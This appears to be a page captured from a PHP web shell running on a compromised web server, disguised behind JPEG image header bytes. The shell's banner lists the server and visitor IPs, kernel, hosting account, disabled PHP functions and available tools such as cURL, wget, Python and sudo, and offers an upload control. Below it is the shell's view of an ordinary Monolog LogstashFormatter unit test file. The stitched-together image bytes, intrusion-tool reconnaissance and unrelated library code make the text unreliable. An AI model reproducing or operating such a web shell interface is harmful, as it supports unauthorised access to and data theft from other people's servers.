ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.119.106.28 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/monolog/monolog/tests/Monolog/Formatter/ |
Upload File : |
<?php /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; class LogstashFormatterTest extends \PHPUnit_Framework_TestCase { public function tearDown() { \PHPUnit_Framework_Error_Warning::$enabled = true; return parent::tearDown(); } /** * @covers Monolog\Formatter\LogstashFormatter::format */ public function testDefaultFormatter() { $formatter = new LogstashFormatter('test', 'hostname'); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array(), 'datetime' => new \DateTime("@0"), 'extra' => array(), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $this->assertEquals("1970-01-01T00:00:00.000000+00:00", $message['@timestamp']); $this->assertEquals('log', $message['@message']); $this->assertEquals('meh', $message['@fields']['channel']); $this->assertContains('meh', $message['@tags']); $this->assertEquals(Logger::ERROR, $message['@fields']['level']); $this->assertEquals('test', $message['@type']); $this->assertEquals('hostname', $message['@source']); $formatter = new LogstashFormatter('mysystem'); $message = json_decode($formatter->format($record), true); $this->assertEquals('mysystem', $message['@type']); } /** * @covers Monolog\Formatter\LogstashFormatter::format */ public function testFormatWithFileAndLine() { $formatter = new LogstashFormatter('test'); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array('from' => 'logger'), 'datetime' => new \DateTime("@0"), 'extra' => array('file' => 'test', 'line' => 14), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $this->assertEquals('test', $message['@fields']['file']); $this->assertEquals(14, $message['@fields']['line']); } /** * @covers Monolog\Formatter\LogstashFormatter::format */ public function testFormatWithContext() { $formatter = new LogstashFormatter('test'); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array('from' => 'logger'), 'datetime' => new \DateTime("@0"), 'extra' => array('key' => 'pair'), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $message_array = $message['@fields']; $this->assertArrayHasKey('ctxt_from', $message_array); $this->assertEquals('logger', $message_array['ctxt_from']); // Test with extraPrefix $formatter = new LogstashFormatter('test', null, null, 'CTX'); $message = json_decode($formatter->format($record), true); $message_array = $message['@fields']; $this->assertArrayHasKey('CTXfrom', $message_array); $this->assertEquals('logger', $message_array['CTXfrom']); } /** * @covers Monolog\Formatter\LogstashFormatter::format */ public function testFormatWithExtra() { $formatter = new LogstashFormatter('test'); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array('from' => 'logger'), 'datetime' => new \DateTime("@0"), 'extra' => array('key' => 'pair'), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $message_array = $message['@fields']; $this->assertArrayHasKey('key', $message_array); $this->assertEquals('pair', $message_array['key']); // Test with extraPrefix $formatter = new LogstashFormatter('test', null, 'EXT'); $message = json_decode($formatter->format($record), true); $message_array = $message['@fields']; $this->assertArrayHasKey('EXTkey', $message_array); $this->assertEquals('pair', $message_array['EXTkey']); } public function testFormatWithApplicationName() { $formatter = new LogstashFormatter('app', 'test'); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array('from' => 'logger'), 'datetime' => new \DateTime("@0"), 'extra' => array('key' => 'pair'), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $this->assertArrayHasKey('@type', $message); $this->assertEquals('app', $message['@type']); } /** * @covers Monolog\Formatter\LogstashFormatter::format */ public function testDefaultFormatterV1() { $formatter = new LogstashFormatter('test', 'hostname', null, 'ctxt_', LogstashFormatter::V1); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array(), 'datetime' => new \DateTime("@0"), 'extra' => array(), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $this->assertEquals("1970-01-01T00:00:00.000000+00:00", $message['@timestamp']); $this->assertEquals("1", $message['@version']); $this->assertEquals('log', $message['message']); $this->assertEquals('meh', $message['channel']); $this->assertEquals('ERROR', $message['level']); $this->assertEquals('test', $message['type']); $this->assertEquals('hostname', $message['host']); $formatter = new LogstashFormatter('mysystem', null, null, 'ctxt_', LogstashFormatter::V1); $message = json_decode($formatter->format($record), true); $this->assertEquals('mysystem', $message['type']); } /** * @covers Monolog\Formatter\LogstashFormatter::format */ public function testFormatWithFileAndLineV1() { $formatter = new LogstashFormatter('test', null, null, 'ctxt_', LogstashFormatter::V1); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array('from' => 'logger'), 'datetime' => new \DateTime("@0"), 'extra' => array('file' => 'test', 'line' => 14), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $this->assertEquals('test', $message['file']); $this->assertEquals(14, $message['line']); } /** * @covers Monolog\Formatter\LogstashFormatter::format */ public function testFormatWithContextV1() { $formatter = new LogstashFormatter('test', null, null, 'ctxt_', LogstashFormatter::V1); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array('from' => 'logger'), 'datetime' => new \DateTime("@0"), 'extra' => array('key' => 'pair'), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $this->assertArrayHasKey('ctxt_from', $message); $this->assertEquals('logger', $message['ctxt_from']); // Test with extraPrefix $formatter = new LogstashFormatter('test', null, null, 'CTX', LogstashFormatter::V1); $message = json_decode($formatter->format($record), true); $this->assertArrayHasKey('CTXfrom', $message); $this->assertEquals('logger', $message['CTXfrom']); } /** * @covers Monolog\Formatter\LogstashFormatter::format */ public function testFormatWithExtraV1() { $formatter = new LogstashFormatter('test', null, null, 'ctxt_', LogstashFormatter::V1); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array('from' => 'logger'), 'datetime' => new \DateTime("@0"), 'extra' => array('key' => 'pair'), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $this->assertArrayHasKey('key', $message); $this->assertEquals('pair', $message['key']); // Test with extraPrefix $formatter = new LogstashFormatter('test', null, 'EXT', 'ctxt_', LogstashFormatter::V1); $message = json_decode($formatter->format($record), true); $this->assertArrayHasKey('EXTkey', $message); $this->assertEquals('pair', $message['EXTkey']); } public function testFormatWithApplicationNameV1() { $formatter = new LogstashFormatter('app', 'test', null, 'ctxt_', LogstashFormatter::V1); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => 'meh', 'context' => array('from' => 'logger'), 'datetime' => new \DateTime("@0"), 'extra' => array('key' => 'pair'), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $this->assertArrayHasKey('type', $message); $this->assertEquals('app', $message['type']); } public function testFormatWithLatin9Data() { if (version_compare(PHP_VERSION, '5.5.0', '<')) { // Ignore the warning that will be emitted by PHP <5.5.0 \PHPUnit_Framework_Error_Warning::$enabled = false; } $formatter = new LogstashFormatter('test', 'hostname'); $record = array( 'level' => Logger::ERROR, 'level_name' => 'ERROR', 'channel' => '¯\_(ツ)_/¯', 'context' => array(), 'datetime' => new \DateTime("@0"), 'extra' => array( 'user_agent' => "\xD6WN; FBCR/OrangeEspa\xF1a; Vers\xE3o/4.0; F\xE4rist", ), 'message' => 'log', ); $message = json_decode($formatter->format($record), true); $this->assertEquals("1970-01-01T00:00:00.000000+00:00", $message['@timestamp']); $this->assertEquals('log', $message['@message']); $this->assertEquals('¯\_(ツ)_/¯', $message['@fields']['channel']); $this->assertContains('¯\_(ツ)_/¯', $message['@tags']); $this->assertEquals(Logger::ERROR, $message['@fields']['level']); $this->assertEquals('test', $message['@type']); $this->assertEquals('hostname', $message['@source']); if (version_compare(PHP_VERSION, '5.5.0', '>=')) { $this->assertEquals('ÖWN; FBCR/OrangeEspaña; Versão/4.0; Färist', $message['@fields']['user_agent']); } else { // PHP <5.5 does not return false for an element encoding failure, // instead it emits a warning (possibly) and nulls the value. $this->assertEquals(null, $message['@fields']['user_agent']); } } }